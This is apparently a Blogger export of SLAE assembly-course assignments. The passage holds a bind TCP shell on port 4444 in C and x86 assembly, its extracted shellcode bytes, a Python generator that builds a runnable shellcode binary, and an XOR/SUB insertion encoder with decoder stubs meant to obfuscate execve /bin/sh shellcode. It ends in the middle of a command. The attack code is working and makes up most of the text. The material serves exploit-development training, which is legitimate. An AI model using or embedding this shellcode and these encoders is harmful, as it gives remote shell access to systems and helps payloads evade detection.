First, we need to understand how the sockets work on linux. For this
purpose I create a new program using a language where I am confortable,
this socket receives an incoming connection and run a command using
execve.
The methods involved on it:<br />
<br />
<ul>
<li>socket: Create an endpoint for communication and return a file descriptor </li>
<li>bind: Bind a socket to a port</li>
<li>listen: Listen for connections on a socket</li>
<li>accept: Accept a connection on a socket</li>
<li>dup2: Duplicate the file descriptor, used for set stdin, stdout and sterr to the new file descritor (returned from accept)</li>
<li>execve: Execute a program (our purpose /bin/sh) </li>
</ul>
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main(int argc, char *argv[]){
// AF_INET = 2; SOCK_STREAM = 1
int fd = 0;
int connfd = 0;
fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv_addr;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(4444);
bind(fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
listen(fd, 0);
connfd = accept(fd, (struct sockaddr*)NULL, NULL);
// redirect stdin, stdout, stderr
dup2(connfd, 0);
dup2(connfd, 1);
dup2(connfd, 2);
// run program
execve("/bin/sh", NULL, NULL);
}
</unistd></netinet></sys></sys></stdio></code></pre>
<br />
We compile, run and test it to check if It is working...<br />
<br />
Server:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ gcc bind-shell-tcp.c -o bind-shell-tcp
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ ./bind-shell-tcp </code>
</pre>
<br />
Client:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ sudo netstat -lntp | grep 4444
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1229/bind-shell-tcp
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ nc -vv 127.0.0.1 4444
localhost [127.0.0.1] 4444 (?) open
id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)</code>
</pre>
<br />
After, I start to do same in assembly language. But before we need to know what are the numbers of the involved system calls.
<style>
table {
font-family: arial, sans-serif;
border-collapse: collapse;
width: 100%;
}
td, th {
border: 1px solid #dddddd;
text-align: left;
padding: 8px;
}
tr:nth-child(even) {
background-color: #dddddd;
}
</style>
<br />
<br />
<table style="border-collapse: collapse; font-family: "arial" , sans-serif; width: 100%;">
<tbody>
<tr style="background-color: #dddddd;">
<th style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Method</th>
<th style="border: 1px solid #dddddd; padding: 8px; text-align: left;">System call</th>
<th style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Socket syscall</th>
<th style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Description</th>
</tr>
<tr style="background-color: #dddddd;">
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">socket</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">0x66 (102)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">1 (SYS_SOCKET)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Create a socket</td>
</tr>
<tr style="background-color: #dddddd;">
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">bind</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">0x66 (102)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">2 (SYS_BIND)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Bind a socket</td>
</tr>
<tr style="background-color: #dddddd;">
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">listen</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">0x66 (102)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">4 (SYS_LISTEN)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Listen for connections</td>
</tr>
<tr style="background-color: #dddddd;">
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">accept</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">0x66 (102)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">5 (SYS_ACCEPT)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Accept connections</td>
</tr>
<tr style="background-color: #dddddd;">
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">dup2</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">0x3f (63)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">None</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Duplicate the file descriptors</td>
</tr>
<tr style="background-color: #dddddd;">
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">execve</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">0xb (11)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">None</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Execute a program</td>
</tr>
</tbody></table>
<br />
System syscalls: /usr/include/i386-linux-gnu/asm/unistd_32.h <br />
Socket syscalls: /usr/include/linux/net.h <br />
Socket protocols: /usr/include/i386-linux-gnu/bits/socket.h <br />
Socket domains: /usr/include/netinet/in.h <br />
Socket types: /usr/include/i386-linux-gnu/bits/socket_type.h<br />
<br />
<h4>
Create a socket</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
int socket(int domain, int type, int protocol);
</code>
</pre>
<br />
The domain will be <b>IPv4 Internel Protocol</b>, the type (of communication) <b>SOCK_STREAM</b> and the protocol. Basically, we push the parameters in the stack and save the stack pointer in the ecx register, after we run the system call.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
xor eax, eax
xor ebx, ebx
push eax ; protocol - 0
push 1 ; type - SOCK_STREAM,
push 2 ; dominio - AF_INET
mov ecx, esp ; arguments
mov bl, 1 ; sys_socket (create)
mov al, 102 ; systemcall
int 0x80
mov esi, eax ; save sockfd
</code>
</pre>
<br />
<h4>
Bind a socket</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
int bind(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
struct sockaddr {
sa_family_t sa_family;
char sa_data[14];
}
// IPv4 AF_INET sockets:
struct sockaddr_in {
short sin_family;
unsigned short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
struct sockaddr_in serv_addr;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(4444);
</code>
</pre>
I saved the created socket in the esi register, so i need to bind
this socket. Firstly, I create the sockaddr variable and save it in the
register ecx, secondly, I push in the stack the 3rd argument, thirdly,
push ecx (the sockaddr variable) in the stack, it will be the second
argument, finally, push the register esi in the stack, it is the file
descriptor of the socket.<br />
To create the <b>sockaddr</b>, we save in the stack the <b>port</b>, <b>address</b> and the <b>address family</b>. I save the stack pointer address in the ecx register. After, I push the address length, the <b>sockaddr</b>
created before (ecx) and the file descriptor (esi). Finally, I move the
stack pointer to ecx (arguments), mov to ebx the socket call for bind
(2) and move the syscall for sockets to eax and execute the interrupt.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
xor eax, eax
push eax ; struct addr
push word 0x5c11 ; Port 4444
push word 2 ; PF_INET
mov ecx, esp ; save *addr in ecx
push 0x10 ; length addrlen=16
push ecx ; &serv_addr
push esi ; sockfd
mov ecx, esp ; arguments
mov al, 102 ; systemcall
mov bl, 2 ; sys_bind
int 0x80
</code>
</pre>
<h4>
</h4>
<h4>
Listen</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
int listen(int sockfd, int backlog);
</code>
</pre>
<br />
The <b>backlog</b> is the maximum length that can be queue for pending connections for the file descriptor and <b>sockfd</b> is the socket file descriptor. I used 0 for the backlog and the socket file descriptor that it is saved in the esi register.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
xor eax, eax
push eax ; backlog
push esi ; sockfd
mov ecx, esp ; save arguments
mov bl, 4 ; sys_listen
mov al, 102 ; socket syscall
int 0x80
</code>
</pre>
<h4>
</h4>
<h4>
Accept</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
</code>
</pre>
<br />
In this case the second and the third argument are NULL, the first is the socket file descriptor saved in esi.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
xor eax, eax
push eax ; null
push eax ; null
push esi ; sockfd
mov ecx, esp ; save arguments
mov bl, 5 ; sys_accept
mov al, 102 ; socket syscall
int 0x80
</code>
</pre>
<br />
In this point, the program is waiting a new connection from the client.
<br />
<h4>
</h4>
<h4>
Dup2</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
int dup2(int oldfd, int newfd);
</code>
</pre>
<br />
Duplicate the file descriptor, I did a loop to duplicate the three file descriptors (in, out and err) with the socket file descriptor.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
mov ebx, eax ; oldfd = clientfd
xor ecx, ecx ; ecx = newfd
loop:
mov al, 0x3f ; syscall dup2
int 0x80
inc ecx
cmp ecx, 0x2
jle loop
</code>
</pre>
<h4>
</h4>
<h4>
Execve</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
int execve(const char *filename, char *const argv[],
char *const envp[]);
</code>
</pre>
<br />
Simple exevce shellcode /bin/sh that use the stack.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
</code>
</pre>
<br />
<br />
<h3>
Final program</h3>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
global _start
section .text
_start:
; int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
push eax ; protocol - 0
push 1 ; type - SOCK_STREAM,
push 2 ; dominio - AF_INET
mov ecx, esp ; arguments
mov bl, 1 ; sys_socket
mov al, 102 ; systemcall
int 0x80
mov esi, eax ; save sockfd
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
xor eax, eax
xor ecx, ecx
; *addr
push eax ; addr
push word 0x5c11 ; Port 4444
push word 2 ; PF_INET
mov ecx, esp ; save *addr in ecx
push 0x10 ; length addrlen=16
push ecx ; &serv_addr
push esi ; sockfd
mov ecx, esp ; arguments
mov al, 102 ; systemcall
mov bl, 2 ; sys_bind
int 0x80
; int listen(int sockfd, int backlog);
xor eax, eax
push eax ; backlog
push esi ; sockfd
mov ecx, esp ; save arguments
mov bl, 4 ; sys_listen
mov al, 102 ; socket syscall
int 0x80
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
xor eax, eax
push eax ; null
push eax ; null
push esi ; sockfd
mov ecx, esp ; save arguments
mov bl, 5 ; sys_accept
mov al, 102 ; socket syscall
int 0x80
; int dup2(int oldfd, int newfd);
mov ebx, eax ; oldfd = clientfd
xor ecx, ecx ; ecx = newfd
loop:
mov al, 0x3f ; syscall dup2
int 0x80
inc ecx
cmp ecx, 0x2
jle loop
; execve stack-sh
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
</code>
</pre>
It works...
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ ./compile.sh bind-tcp
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ objdump -d ./bind-tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ vim shellcode.c
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ ./shellcode
Shellcode Length: 109
</code>
</pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ sudo netstat -lnpt | grep 4444
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 1334/shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/Assignment1$ nc -vv 127.0.0.1 4444
localhost [127.0.0.1] 4444 (?) open
id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
</code>
</pre>
<br />
<h4>
Generate a bind TCP shellcode with configurable port</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
#!/usr/bin/env python
import sys
import struct
import os
def port2hex(port):
return struct.pack(">H", port)
if __name__ == "__main__":
if sys.argv[1] is not None:
try:
if (int(sys.argv[1])<1024):
print "[?] Only root can open ports below 1024"
port = port2hex(int(sys.argv[1]))
port_check = [port.encode('hex')[i:i+2] for i in range(0, len(port.encode('hex')), 2)]
nullbytes = False
for i in port_check:
if (i == "00"):
print "[-] The port contains null bytes, use another port"
nullbytes = True
shellcode = "\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68%s\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"%port
sc = ""
for c in bytearray(shellcode):
sc += "\\x%02x" % c
shellcode_c = '#include<stdio.h>\n\
#include<string.h>\n\
unsigned char code[] = "%s";\n\
main(){\n\
printf("Shellcode Length: %%d\\n", strlen(code));\n\
int (*ret)() = (int(*)())code;\n\
ret();\n\
}'%sc
with open("shellcode_tmp.c", "w") as f:
f.write(shellcode_c)
os.system("gcc shellcode_tmp.c -fno-stack-protector -z execstack -o shellcode")
os.system("rm shellcode_tmp.c")
if nullbytes:
print "[+] Bind TCP shellcode created with null bytes\n[+] Run ./shellcode"
else:
print "[+] Bind TCP shellcode created\n[+] Run ./shellcode"
except ValueError:
print "[-] Port must be a number"
else:
print "usage: %prog <port> \nExample: ./%prog 4444"
</code>
</pre>
<br />
<br />
Source code: <a href="https://github.com/Sinkmanu/SLAE/tree/master/Assignment1">https://github.com/Sinkmanu/SLAE/tree/master/Assignment1</a>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-82627668180119626752017-02-17T01:40:00.000+01:002017-02-25T12:50:53.609+01:00Assignment 4: Insertion Encoder (SLAE)<br />
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
<a href="http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/" target="_blank">http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ </a><br />
<br />
Student ID: SLAE-858<br />
<br />
<h3>
Exercise </h3>
<ul>
<li> Create a custom encoding scheme like the "Insertion Encoder" we showed you</li>
<li>PoC with using execve-stack as the shellcode to encode with your schema and execute </li>
</ul>
<h3>
</h3>
<h3>
Solution </h3>
<br />
The custom scheme is compose by a execve-stack (/bin/sh) encoded with XOR and SUB, after I added the "Insertion Encoder" using insertion that consists in an incremental counter.<br />
<br />
So, the <i>insertion decoder stub</i> must decode it using the counter.
First, I take a execve shellcode using the stack and encode it.<br />
<br />
execve-stack (/bin/sh) without encoding:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
global _start
section .text
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
</code>
</pre>
<br />
I encoded the execve-stack shellcode using XOR and SUB operators to encode the shellcode.<br />
<br />
<h4>
Encoder execve-stack shellcode </h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
#!/usr/bin/python
shellcode = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = ""
encoded2 = ""
for x in bytearray(shellcode) :
y = x + 0x2
c = y ^ 0xCA
encoded += '\\x'
encoded += '%02x' % c
encoded2 += '0x'
encoded2 += '%02x,' %c
print encoded
print encoded2
print 'Len: %d' % len(bytearray(shellcode))
</code>
</pre>
<br />
I created the nasm program to decode it and generate the new shellcode:<br />
<br />
<h4>
Decoder execve-stack encoded shellcode
</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
global _start
section .text
_start:
jmp short call_decoder
decoder:
pop esi
xor ecx, ecx
mov cl,25
decode:
xor byte[esi], 0xca
sub byte[esi], 0x2
inc esi
loop decode
jmp short Shellcode
call_decoder:
call decoder
Shellcode: db 0xf9,0x08,0x98,0xa0,0xba,0xfb,0xbf,0xa0,0xa0,0xfb,0xfb,0xae,0xa1,0x41,0x2f,0x98,0x41,0x2e,0x9f,0x41,0x29,0x78,0xc7,0x05,0x48
</code>
</pre>
<br />
Getting the new shellcode:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment4$ ./compile.sh xor-sub-execve-stack
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment4$ objdump -d ./xor-sub-execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x10\x5e\x31\xc9\xb1\x19\x80\x36\xca\x80\x2e\x02\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xf9\x08\x98\xa0\xba\xfb\xbf\xa0\xa0\xfb\xfb\xae\xa1\x41\x2f\x98\x41\x2e\x9f\x41\x29\x78\xc7\x05\x48"
</code>
</pre>
<br />
Check if the shellcode works well...
Finally, I added the <i>custom encoded schema. </i><br />
<br />
<h4>
Insertion encoder stub
</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
#!/usr/bin/python
encoded = ""
encoded2 = ""
shellcode = ("\xeb\x10\x5e\x31\xc9\xb1\x19\x80\x36\xca\x80\x2e\x02\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xf9\x08\x98\xa0\xba\xfb\xbf\xa0\xa0\xfb\xfb\xae\xa1\x41\x2f\x98\x41\x2e\x9f\x41\x29\x78\xc7\x05\x48")
print 'Encoded shellcode ...'
counter = 1
for x in bytearray(shellcode) :
encoded += '\\x'
encoded += '%02x' % x
encoded += '\\x%02x' % counter
encoded2 += '0x'
encoded2 += '%02x,' %x
encoded2 += '0x%02x,' % counter
counter += 1
print encoded
print encoded2
print 'Len: %d' % len(bytearray(shellcode))
</code>
</pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment4$ ./Insertion-Encoder.py
Encoded shellcode ...
\xeb\x01\x10\x02\x5e\x03\x31\x04\xc9\x05\xb1\x06\x19\x07\x80\x08\x36\x09\xca\x0a\x80\x0b\x2e\x0c\x02\x0d\x46\x0e\xe2\x0f\xf7\x10\xeb\x11\x05\x12\xe8\x13\xeb\x14\xff\x15\xff\x16\xff\x17\xf9\x18\x08\x19\x98\x1a\xa0\x1b\xba\x1c\xfb\x1d\xbf\x1e\xa0\x1f\xa0\x20\xfb\x21\xfb\x22\xae\x23\xa1\x24\x41\x25\x2f\x26\x98\x27\x41\x28\x2e\x29\x9f\x2a\x41\x2b\x29\x2c\x78\x2d\xc7\x2e\x05\x2f\x48\x30
0xeb,0x01,0x10,0x02,0x5e,0x03,0x31,0x04,0xc9,0x05,0xb1,0x06,0x19,0x07,0x80,0x08,0x36,0x09,0xca,0x0a,0x80,0x0b,0x2e,0x0c,0x02,0x0d,0x46,0x0e,0xe2,0x0f,0xf7,0x10,0xeb,0x11,0x05,0x12,0xe8,0x13,0xeb,0x14,0xff,0x15,0xff,0x16,0xff,0x17,0xf9,0x18,0x08,0x19,0x98,0x1a,0xa0,0x1b,0xba,0x1c,0xfb,0x1d,0xbf,0x1e,0xa0,0x1f,0xa0,0x20,0xfb,0x21,0xfb,0x22,0xae,0x23,0xa1,0x24,0x41,0x25,0x2f,0x26,0x98,0x27,0x41,0x28,0x2e,0x29,0x9f,0x2a,0x41,0x2b,0x29,0x2c,0x78,0x2d,0xc7,0x2e,0x05,0x2f,0x48,0x30,
Len: 48
</code>
</pre>
<br />
<h4>
Insertion decoder stub:
</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi
lea edi, [esi +1]
xor eax, eax
mov al, 1
xor ebx, ebx
xor ecx, ecx
mov cl, 1 ;counter
decode:
mov bl, byte [esi + eax]
xor bl, cl
jnz short EncodedShellcode
mov bl, byte [esi + eax + 1]
mov byte [edi], bl
inc edi
add al, 2
add cl, 1
jmp short decode
call_shellcode:
call decoder
EncodedShellcode: db 0xeb,0x01,0x10,0x02,0x5e,0x03,0x31,0x04,0xc9,0x05,0xb1,0x06,0x19,0x07,0x80,0x08,0x36,0x09,0xca,0x0a,0x80,0x0b,0x2e,0x0c,0x02,0x0d,0x46,0x0e,0xe2,0x0f,0xf7,0x10,0xeb,0x11,0x05,0x12,0xe8,0x13,0xeb,0x14,0xff,0x15,0xff,0x16,0xff,0x17,0xf9,0x18,0x08,0x19,0x98,0x1a,0xa0,0x1b,0xba,0x1c,0xfb,0x1d,0xbf,0x1e,0xa0,0x1f,0xa0,0x20,0xfb,0x21,0xfb,0x22,0xae,0x23,0xa1,0x24,0x41,0x25,0x2f,0x26,0x98,0x27,0x41,0x28,0x2e,0x29,0x9f,0x2a,0x41,0x2b,0x29,0x2c,0x78,0x2d,0xc7,0x2e,0x05,0x2f,0x48,0x30
</code>
</pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment4$ objdump -d ./insertion-decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
